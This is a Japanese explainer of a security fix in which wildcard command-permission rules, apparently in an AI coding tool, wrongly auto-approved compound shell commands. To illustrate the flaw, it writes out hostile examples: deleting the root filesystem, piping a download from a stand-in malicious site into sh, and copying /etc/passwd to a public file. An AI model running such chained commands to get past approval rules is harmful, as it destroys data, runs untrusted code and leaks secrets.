Skip to content

原文(日本語に翻訳)

ワイルドカードパーミッションルールがシェル演算子を含む複合コマンドにマッチしてしまうセキュリティ脆弱性を修正しました。

原文(英語)

Fixed security vulnerability where wildcard permission rules could match compound commands containing shell operators

概要

ワイルドカード(*)を使用したパーミッションルールが、シェル演算子(;&&||など)を含む複合コマンドに対して意図せずマッチしてしまう脆弱性が修正されました。この脆弱性により、安全なコマンドとして許可したパターンが、危険なコマンドと組み合わされた際にも誤って承認される可能性がありました。

問題の詳細

修正前の動作(脆弱性)

例えば、以下のようなパーミッションルールを設定していた場合:

json
{
  "allowedCommands": ["git *"]
}

このルールは本来git statusgit diffなどの安全なgitコマンドを自動承認するためのものですが、以下のような危険な複合コマンドもマッチしていました:

bash
git status; rm -rf /
git diff && curl malicious-site.com | sh
git log || cat /etc/passwd > public/passwords.txt

修正後の動作

v2.1.7以降、ワイルドカードパーミッションルールはシェル演算子を含むコマンドにはマッチしなくなりました。複合コマンドは必ずユーザーの明示的な承認が必要になります。

実践例

安全なパターンマッチング

許可されるコマンド:

bash
git status
git diff main..feature
git log --oneline

承認が必要なコマンド(v2.1.7以降):

bash
git status; ls -la
git diff && npm install
git log || echo "failed"

推奨されるパーミッション設定

より安全なパーミッション設定のベストプラクティス:

json
{
  "allowedCommands": [
    "git status",
    "git diff *",
    "git log *",
    "git show *"
  ]
}

ワイルドカードを使用する場合は、特定のサブコマンドに限定することを推奨します。

複合コマンドを許可する場合

複合コマンドを許可する必要がある場合は、完全なコマンド文字列を指定してください:

json
{
  "allowedCommands": [
    "git pull && npm install"
  ]
}

セキュリティへの影響

修正前のリスク

  • コマンドインジェクション: 承認済みコマンドの後に任意のコマンドを追加できる可能性
  • データ漏洩: 機密ファイルの内容を外部に送信するコマンドが実行される可能性
  • システム破壊: 削除や変更など、破壊的なコマンドが承認される可能性

修正後の安全性

  • 複合コマンドは必ず明示的なユーザー承認が必要
  • ワイルドカードルールの予期しない動作を防止
  • より細かい粒度でのパーミッション制御が可能

注意点

  • 既存の設定: 既存のワイルドカードルールがある場合、v2.1.7以降は複合コマンドに対して承認プロンプトが表示されるようになります
  • 自動化スクリプト: 複合コマンドに依存している自動化スクリプトは、パーミッション設定の更新が必要になる場合があります
  • 後方互換性: この変更はセキュリティ修正のため、意図的に後方互換性を破壊しています
  • 即座にアップデートを: この脆弱性はセキュリティリスクが高いため、v2.1.7へのアップデートを強く推奨します

関連情報